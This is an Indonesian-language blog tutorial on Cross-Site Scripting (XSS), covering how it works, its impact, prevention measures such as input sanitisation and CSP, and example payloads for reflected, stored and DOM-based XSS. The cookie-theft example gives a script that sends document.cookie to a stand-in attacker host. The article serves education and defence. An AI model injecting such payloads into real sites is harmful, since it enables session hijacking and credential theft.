Di publish pada 26 Jul 2024
Terakhir diperbarui pada 11 Apr 2025
Apa Itu Serangan XSS? Dan Bagaimana Cara Mengatasinya?

Dalam dunia keamanan web, Cross-Site Scripting (XSS) merupakan salah satu jenis serangan yang paling sering terjadi dan berpotensi merugikan. XSS adalah jenis serangan di mana penyerang menyisipkan skrip berbahaya ke dalam halaman web yang dilihat oleh pengguna lain.
Apa Itu XSS?
Cross-Site Scripting (XSS) adalah kerentanan keamanan yang memungkinkan penyerang untuk menyuntikkan skrip jahat ke dalam konten yang dikirimkan oleh server kepada pengguna. Skrip ini bisa berupa JavaScript, HTML, atau kode lain yang dijalankan di browser pengguna. XSS biasanya terjadi ketika data yang dikirimkan oleh pengguna tidak divalidasi dengan benar dan langsung disajikan kembali oleh aplikasi web.
Bagaimana XSS Bekerja?
Untuk memberikan gambaran sederhana tentang bagaimana serangan XSS berfungsi, mari kita lihat contoh berikut:
Penyerang mengidentifikasi situs web yang tidak aman di mana data pengguna tidak disaring atau disanitasi dengan benar.
Penyerang menyisipkan skrip jahat ke dalam formulir atau parameter URL yang akan diproses oleh aplikasi web.
Skrip jahat dieksekusi di browser korban, yang dapat mengakibatkan pencurian data, perusakan sesi, atau tindakan lain yang merugikan.
Dampak dari Serangan XSS
Serangan XSS dapat memiliki berbagai dampak serius, antara lain:
- Pencurian Informasi Sensitif: Skrip jahat dapat mencuri data pribadi seperti cookie, kredensial login, atau informasi pembayaran.
- Perusakan Sesi Pengguna: Penyerang dapat mengambil alih sesi pengguna dan melakukan tindakan tanpa izin.
- Penurunan Reputasi: Situs web yang terinfeksi XSS dapat kehilangan kepercayaan pengguna, berdampak pada reputasi bisnis atau organisasi.
Cara Mencegah Serangan XSS
Ada beberapa langkah yang dapat diambil untuk melindungi situs web dari serangan XSS:
Validasi dan Sanitasi Input: Pastikan semua data yang diterima dari pengguna divalidasi dan disanitasi sebelum diproses atau disajikan kembali. Gunakan whitelist dan pastikan hanya data yang valid yang diterima.
Gunakan Content Security Policy (CSP): CSP adalah mekanisme keamanan yang membantu mendeteksi dan memitigasi XSS dengan membatasi sumber daya yang dapat dimuat oleh halaman web.
Escape Output: Saat menampilkan data yang diterima dari pengguna, pastikan data tersebut di escape dengan benar untuk mencegah eksekusi skrip.
Gunakan Framework yang Aman: Banyak framework modern menyediakan perlindungan terhadap XSS secara default. Memilih framework yang mematuhi standar keamanan dapat membantu mengurangi risiko.
Lakukan Peninjauan Kode dan Pengujian Keamanan: Secara rutin meninjau kode dan melakukan pengujian keamanan dapat membantu mengidentifikasi dan memperbaiki potensi kerentanan XSS.
Apa Contoh Nyata Serangan XSS Yang Pernah Terjadi?
Berikut adalah beberapa contoh nyata dari serangan XSS yang pernah terjadi atau bisa terjadi dalam skenario dunia nyata:
1. Serangan XSS di Twitter (2009)
Pada tahun 2009, Twitter mengalami sebuah insiden XSS di mana penyerang memanfaatkan kerentanan pada fitur pembaruan status. Penyerang dapat menyisipkan skrip berbahaya ke dalam tweet yang kemudian dieksekusi di browser pengguna yang melihat tweet tersebut. Skrip tersebut mengarahkan korban ke situs phishing yang dirancang untuk mencuri kredensial login Twitter. Kasus ini menunjukkan bagaimana XSS dapat mempengaruhi aplikasi web populer dan besar.
2. Serangan XSS di eBay (2014)
Pada tahun 2014, ditemukan kerentanan XSS di platform eBay. Penyerang dapat menyisipkan skrip berbahaya ke dalam deskripsi produk yang ditampilkan di halaman eBay. Skrip ini dapat mencuri cookie sesi pengguna dan data lainnya. Serangan ini menunjukkan bagaimana XSS dapat memanfaatkan aplikasi web e-commerce untuk mencuri informasi sensitif.
3. XSS pada Joomla (2015)
Joomla, salah satu sistem manajemen konten (CMS) populer, mengalami kerentanan XSS pada tahun 2015. Kerentanan ini memungkinkan penyerang menyisipkan skrip berbahaya melalui parameter URL atau formulir input di backend Joomla. Skrip yang disisipkan dapat mengeksekusi kode jahat di sisi klien, berpotensi mengakses informasi sensitif atau memanipulasi konten situs.
4. Serangan XSS di Google Docs (2014)
Google Docs pernah mengalami masalah XSS yang memungkinkan penyerang mengirimkan link berbahaya melalui dokumen yang dibagikan. Ketika korban membuka dokumen tersebut, skrip berbahaya dapat dijalankan, memungkinkan penyerang untuk mencuri informasi dari akun Google Docs korban. Kasus ini menunjukkan bahwa XSS bisa berdampak pada layanan cloud dan aplikasi berbasis web.
5. Serangan XSS di GitHub (2020)
Pada tahun 2020, GitHub menghadapi kerentanan XSS yang memungkinkan penyerang menambahkan skrip berbahaya pada komentar atau deskripsi repositori. Skrip ini dapat mengeksekusi tindakan yang tidak diinginkan di browser korban atau mencuri data yang ada. GitHub segera menanggapi dengan memperbaiki kerentanan dan memperkuat mekanisme keamanannya.
6. XSS pada Forum atau Platform Diskusi
Sering kali, forum online dan platform diskusi lainnya juga menjadi target XSS. Misalnya, penyerang dapat menyisipkan skrip ke dalam posting atau komentar yang kemudian dieksekusi ketika pengguna lain membacanya. Ini bisa menyebabkan pencurian sesi, perusakan data, atau penyebaran malware.
7. XSS pada Sistem Perbankan Online
Ada laporan tentang kerentanan XSS di sistem perbankan online yang memungkinkan penyerang untuk menyisipkan skrip berbahaya ke dalam formulir atau antarmuka pengguna. Jika berhasil, skrip ini dapat mencuri kredensial login atau mengakses data transaksi yang sensitif.
Apa Contoh Serangan XSS?
Berikut adalah beberapa contoh serangan XSS (Cross-Site Scripting) yang sering terjadi:
1. XSS Reflected
- Skenario
Misalkan ada sebuah situs e-commerce yang memiliki fitur pencarian produk. Pengguna dapat mencari produk dengan mengirimkan kata kunci melalui URL, seperti
https://example.com/search?q=laptop
Namun, jika situs ini menampilkan kata kunci pencarian kembali di halaman hasil pencarian tanpa validasi atau sanitasi yang benar, penyerang dapat memanfaatkan hal ini.
- Serangan
Penyerang mengirimkan URL dengan skrip berbahaya, misalnya:
https://example.com/search?q=<script>alert('Hacked!')</script>
Ketika korban mengklik link tersebut, skrip jahat tersebut akan dijalankan di browser korban, menampilkan kotak dialog peringatan atau melakukan tindakan lain yang merugikan.
2. XSS Stored
- Skenario
Sebuah forum online memungkinkan pengguna untuk mengirimkan komentar atau pesan. Jika komentar tersebut disimpan di database dan kemudian ditampilkan kembali di forum tanpa sanitasi, penyerang dapat menyisipkan skrip berbahaya.
- Serangan
Penyerang menulis komentar berisi skrip berbahaya seperti:
<script>alert('You have been hacked!')</script>
Ketika pengguna lain melihat komentar tersebut, skrip akan dijalankan di browser mereka. Ini bisa mencuri informasi sensitif seperti cookie sesi atau melakukan tindakan lain yang merugikan.
3. XSS DOM-Based
- Skenario
Sebuah aplikasi web berbasis JavaScript yang menggunakan manipulasi DOM untuk menampilkan data dari URL atau input pengguna. Misalnya, aplikasi menampilkan parameter URL langsung di halaman tanpa validasi.
- Serangan
Penyerang membuat URL seperti:
https://example.com?param=<script>document.body.innerHTML='Hacked!'</script>
Ketika korban mengunjungi URL tersebut, skrip jahat langsung dijalankan oleh browser dan mengubah konten halaman.
4. Phishing dengan XSS
- Skenario
Penyerang menyisipkan skrip jahat pada halaman login situs web, yang memungkinkan penyerang membuat tampilan yang mirip dengan halaman login yang sah.
- Serangan
Ketika korban mengunjungi halaman tersebut, skrip jahat menampilkan formulir login palsu yang mirip dengan halaman login asli. Informasi login yang dimasukkan oleh korban akan dikirim ke server penyerang, memungkinkan penyerang untuk mencuri kredensial login.
5. Pencurian Cookie
- Skenario
Sebuah situs web tidak melakukan sanitasi input dengan benar, memungkinkan penyerang untuk menyisipkan skrip berbahaya ke dalam input formulir.
- Serangan
Penyerang menyisipkan skrip berbahaya seperti:
<script>fetch('https://attacker.com/steal-cookie?cookie=' + document.cookie)</script>
Skrip ini mengirimkan cookie sesi korban ke server penyerang, memungkinkan penyerang untuk mengambil alih sesi pengguna.
6. Serangan pada Aplikasi Web Berbasis AJAX
- Skenario
Aplikasi web yang menggunakan AJAX untuk memperbarui konten secara dinamis berdasarkan input pengguna. Jika aplikasi ini tidak melakukan sanitasi dengan benar, penyerang dapat menyisipkan skrip berbahaya.
- Serangan
Penyerang mengirimkan input berisi skrip berbahaya yang dieksekusi ketika data diambil oleh AJAX dan ditampilkan. Misalnya, jika AJAX menampilkan data dari server tanpa sanitasi, penyerang dapat memasukkan skrip yang merusak halaman web atau mencuri informasi.
Itu saja artikel dari Admin, semoga bermanfaat… Terima kasih sudah mampir…